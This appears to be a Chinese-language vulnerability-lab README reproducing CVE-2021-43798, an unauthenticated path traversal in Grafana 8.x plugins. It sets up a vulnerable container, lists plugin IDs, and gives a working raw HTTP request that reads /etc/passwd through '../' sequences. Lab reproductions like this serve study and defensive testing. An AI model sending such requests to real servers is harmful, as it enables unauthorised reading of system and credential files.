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grafana/CVE-2021-43798/README.zh-cn.md
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grafana/CVE-2021-43798/README.zh-cn.md
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# Grafana 8.x 插件模块目录穿越漏洞(CVE-2021-43798)
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Grafana是一个开源的度量分析与可视化套件。在2021年12月,推特用户@j0v 发表了他发现的一个0day,攻击者利用这个漏洞可以读取服务器上的任意文件。
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参考链接:
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- https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
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- https://twitter.com/hacker_/status/1467880514489044993
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- https://nosec.org/home/detail/4914.html
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- https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw
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## 漏洞环境
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执行如下命令启动一个Grafana 8.2.6版本服务器:
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```
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docker compose up -d
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```
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服务启动后,访问`http://your-ip:3000`即可查看登录页面,但是这个漏洞是无需用户权限的。
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## 漏洞复现
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这个漏洞出现在插件模块中,这个模块支持用户访问插件目录下的文件,但因为没有对文件名进行限制,攻击者可以利用`../`的方式穿越目录,读取到服务器上的任意文件。
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利用这个漏洞前,我们需要先获取到一个已安装的插件id,比如常见的有:
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```
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alertlist
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cloudwatch
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dashlist
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elasticsearch
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graph
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graphite
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heatmap
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influxdb
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mysql
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opentsdb
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pluginlist
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postgres
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prometheus
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stackdriver
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table
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text
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```
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再发送如下数据包,读取任意文件(你也可以将其中的`alertlist`换成其他合法的插件id):
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```
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GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
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Host: 192.168.1.112:3000
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
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Connection: close
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```
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